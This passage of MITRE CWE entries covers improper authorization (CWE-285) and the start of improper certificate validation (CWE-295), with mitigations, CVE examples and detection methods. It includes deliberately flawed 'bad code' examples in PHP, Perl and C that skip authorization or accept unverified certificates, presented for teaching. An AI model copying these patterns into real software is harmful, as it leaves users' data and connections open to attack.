CAPEC-633	Token Impersonation
CAPEC-650	Upload a Web Shell to a Web Server
CAPEC-94	Adversary in the Middle (AiTM)

References

[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.

[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.

[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2024-02-29 (CWE 4.15, 2024-07-16)	Abhi Balakrishnan
2024-02-29 (CWE 4.15, 2024-07-16)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Name
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Related_Attack_Patterns
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Observed_Examples
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms, Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Maintenance_Notes, Observed_Examples, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Diagram
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Authentication Issues
2009-01-12	Insufficient Authentication

Weakness ID: 285

View customized information:

Description

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Alternate Terms

AuthZ:	"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity	Technical Impact: Modify Application Data; Modify Files or Directories An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control	Technical Impact: Gain Privileges or Assume Identity An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	552	Files or Directories Accessible to External Parties
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	732	Incorrect Permission Assignment for Critical Resource
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	862	Missing Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	926	Improper Export of Android Application Components
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	927	Use of Implicit Intent for Sensitive Communication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1230	Exposure of Sensitive Information Through Metadata
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1256	Improper Restriction of Software Interfaces to Hardware Features
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1297	Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1328	Security Version Number Mutable to Older Versions

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Modes Of Introduction

Phase

Note

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)

Example Language: PHP

function runEmployeeQuery($dbName, $name){

mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();

}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)

Example Language: Perl

sub DisplayPrivateMessage {

my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";

}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and

# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("invalid username or password");

}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2022-24730	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Forced Path Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	753	2009 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	945	SFP Secondary Cluster: Insecure Resource Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1382	ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-285 is high-level and lower-level CWEs can frequently be used instead. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Look at CWE-285's children and consider mapping to CWEs such as CWE-862: Missing Authorization, CWE-863: Incorrect Authorization, CWE-732: Incorrect Permission Assignment for Critical Resource, or others.

Suggestions:

CWE-ID	Comment
CWE-862	Missing Authorization
CWE-863	Incorrect Authorization
CWE-732	Incorrect Permission Assignment for Critical Resource

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
Software Fault Patterns	SFP35		Insecure resource access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-1	Accessing Functionality Not Properly Constrained by ACLs
CAPEC-104	Cross Zone Scripting
CAPEC-127	Directory Indexing
CAPEC-13	Subverting Environment Variable Values
CAPEC-17	Using Malicious Files
CAPEC-39	Manipulating Opaque Client-based Data Tokens
CAPEC-402	Bypassing ATA Password Security
CAPEC-45	Buffer Overflow via Symbolic Links
CAPEC-5	Blue Boxing
CAPEC-51	Poison Web Service Registry
CAPEC-59	Session Credential Falsification through Prediction
CAPEC-60	Reusing Session IDs (aka Session Replay)
CAPEC-647	Collect Data from Registries
CAPEC-668	Key Negotiation of Bluetooth Attack (KNOB)
CAPEC-76	Manipulating Web Input to File System Calls
CAPEC-77	Manipulating User-Controlled Variables
CAPEC-87	Forceful Browsing

References

[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.

[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Related_Attack_Patterns
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Type
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Description
2011-03-24	CWE Content Team	MITRE
2011-03-24	Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Observed_Examples, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Alternate_Terms
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Related_Attack_Patterns
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Missing or Inconsistent Access Control
2011-03-29	Improper Access Control (Authorization)

Weakness ID: 295

View customized information:

Description

The product does not validate, or incorrectly validates, a certificate.

Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The product might connect to a malicious host while believing it is a trusted host, or the product might be deceived into accepting spoofed data that appears to originate from a trusted host.

Common Consequences

Scope	Impact	Likelihood
Integrity Authentication	Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

Potential Mitigations

Phases: Architecture and Design; Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	296	Improper Following of a Certificate's Chain of Trust
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	297	Improper Validation of Certificate with Host Mismatch
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	298	Improper Validation of Certificate Expiration
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	299	Improper Check for Certificate Revocation
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	599	Missing Validation of OpenSSL Certificate
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	322	Key Exchange without Entity Authentication

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1211	Authentication Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1014	Identify Actors

Background Details

A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Implementation	When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Demonstrative Examples

Example 1

This code checks the certificate of a connected peer.

(bad code)

Example Language: C

if ((cert = SSL_get_peer_certificate(ssl)) && host)

foo=SSL_get_verify_result(ssl);

if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))

// certificate looks good, host can be trusted

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.

Example 2

The following OpenSSL code obtains a certificate and verifies it.

(bad code)

Example Language: C

cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {

// do secret things

}

